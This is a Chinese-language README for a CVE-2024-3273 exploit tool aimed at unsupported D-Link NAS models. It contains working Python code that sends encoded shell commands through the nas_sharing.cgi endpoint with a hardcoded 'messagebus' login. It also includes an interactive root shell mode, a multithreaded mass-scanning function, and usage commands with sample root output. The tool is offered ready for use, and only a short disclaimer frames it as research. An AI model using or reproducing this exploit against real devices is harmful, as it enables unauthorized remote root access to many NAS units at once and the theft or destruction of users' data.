🛡️ CVE-2024-3273 Exploit Tool
针对 D-Link NAS 设备中存在的 CVE-2024-3273 漏洞的专业利用工具。该漏洞允许攻击者在受影响设备上执行任意命令并获取未授权访问权限。
✨ 功能特性
- 远程命令执行:在目标设备上执行任意系统命令
- 交互式 Shell:漏洞确认后自动开启交互式命令行界面
- 批量扫描:支持从文件读取多目标并发扫描
- 线程控制:可自定义并发线程数,提升扫描效率
- 结果导出:支持将扫描结果保存至指定文件
- 彩色输出:使用 Rich 库提供清晰的控制台输出体验
📦 安装指南
系统要求
- Python 3.7+
- 网络连接(用于访问目标设备)
安装步骤
- 克隆仓库
git clone https://github.com/Chocapikk/CVE-2024-3273.git
cd CVE-2024-3273
- 安装依赖
pip install -r requirements.txt
所需核心依赖包:
requests- HTTP 请求处理rich- 美化控制台输出alive_progress- 进度条显示prompt_toolkit- 交互式 Shell 增强concurrent.futures- 多线程并发
🚀 使用说明
基础用法
单目标命令执行
python exploit.py -u http://192.168.1.100
若目标存在漏洞,工具将自动执行 id 命令验证并开启交互式 Shell。
执行自定义命令
python exploit.py -u http://192.168.1.100 -c "whoami"
批量扫描
python exploit.py -f targets.txt -t 20 -o results.txt
命令行参数
| 参数 | 说明 |
|---|---|
-u, --url | 单个目标 URL 或 IP 地址 |
-f, --file | 包含多个 URL 列表的文件路径 |
-t, --threads | 并发扫描线程数(默认:10) |
-o, --output | 扫描结果输出文件 |
-c, --command | 手动指定要执行的命令 |
使用示例
$ python exploit.py -u http://127.0.0.1
[+] Command executed successfully.
[!] http://127.0.0.1 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
[+] Opening interactive shell...
$ id
[+] Command executed successfully.
uid=0(root) gid=0(root)
$ ls /etc/passwd
[+] Command executed successfully.
/etc/passwd
⚙️ 核心代码
D-Link 漏洞利用核心类
import base64
import requests
from typing import Optional
from rich.console import Console
from requests.packages.urllib3.exceptions import InsecureRequestWarning
class DLink:
def __init__(self, base_url: Optional[str] = None) -> None:
"""初始化 D-Link 漏洞利用类"""
self.base_url: Optional[str] = base_url
self.session: requests.Session = requests.Session()
self.console: Console = Console()
# 禁用 SSL 警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def custom_print(self, message: str, header: str) -> None:
"""彩色打印输出"""
header_colors: dict = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}
self.console.print(
f"[bold {header_colors.get(header, 'white')}][{header}][/bold {header_colors.get(header, 'white')}] {message}"
)
def execute_command(self, command: str = "id", verbose: bool = True) -> str:
"""
在目标设备上执行系统命令
通过 cgi-bin/nas_sharing.cgi 端点发送 base64 编码的命令
"""
# 将命令转换为十六进制转义格式
command_hex = ''.join(f'\\\\x{ord(c):02x}' for c in command)
command_final = f"echo -e {command_hex}|sh".replace(' ', '\t')
# Base64 编码最终命令
base64_cmd: str = base64.b64encode(command_final.encode()).decode()
# 构造恶意请求参数
url: str = f"{self.base_url}/cgi-bin/nas_sharing.cgi"
params: dict = {
"user": "messagebus",
"passwd": "",
"cmd": "15",
"system": base64_cmd,
}
try:
response: requests.Response = self.session.get(
url, params=params, verify=False, timeout=10
)
# 提取命令执行结果(过滤 XML 响应部分)
result: str = (
response.text.split("<?xml", 1)[0]
if "<?xml" in response.text
else response.text
)
if verbose:
self.custom_print("Command executed successfully.", "+")
return result.strip() if result else ""
except Exception as e:
if verbose:
self.custom_print(f"Command execution failed: {str(e)}", "-")
return ""
批量扫描并发处理
from concurrent.futures import ThreadPoolExecutor, as_completed
from alive_progress import alive_bar
def mass_scan(targets: list, threads: int = 10):
"""
多线程批量扫描目标列表
Args:
targets: 目标 URL 列表
threads: 并发线程数
"""
vulnerable_hosts = []
with alive_bar(len(targets), title="Scanning targets") as bar:
with ThreadPoolExecutor(max_workers=threads) as executor:
future_to_target = {
executor.submit(check_vulnerability, target): target
for target in targets
}
for future in as_completed(future_to_target):
target = future_to_target[future]
try:
result = future.result()
if result:
vulnerable_hosts.append((target, result))
print(f"[!] {target} is vulnerable: {result}")
except Exception as e:
print(f"[-] Error scanning {target}: {e}")
bar()
return vulnerable_hosts
📋 受影响设备版本
| 型号 | 受影响版本 |
|---|---|
| DNS-320L | Version 1.11, 1.03.0904.2013, 1.01.0702.2013 |
| DNS-325 | Version 1.01 |
| DNS-327L | Version 1.09, 1.00.0409.2013 |
| DNS-340L | Version 1.08 |
⚠️ 重要提示:上述设备已停止技术支持(EOL),制造商不再提供安全更新。强烈建议停用或更换这些设备。
🛡️ 免责声明
本工具仅供安全研究和授权测试使用。使用本工具进行未授权访问或恶意攻击属于违法行为。使用者须自行承担一切法律责任。 6HFtX5dABrKlqXeO5PUv//3pOzk/cTxAeqOzpFyzEiU=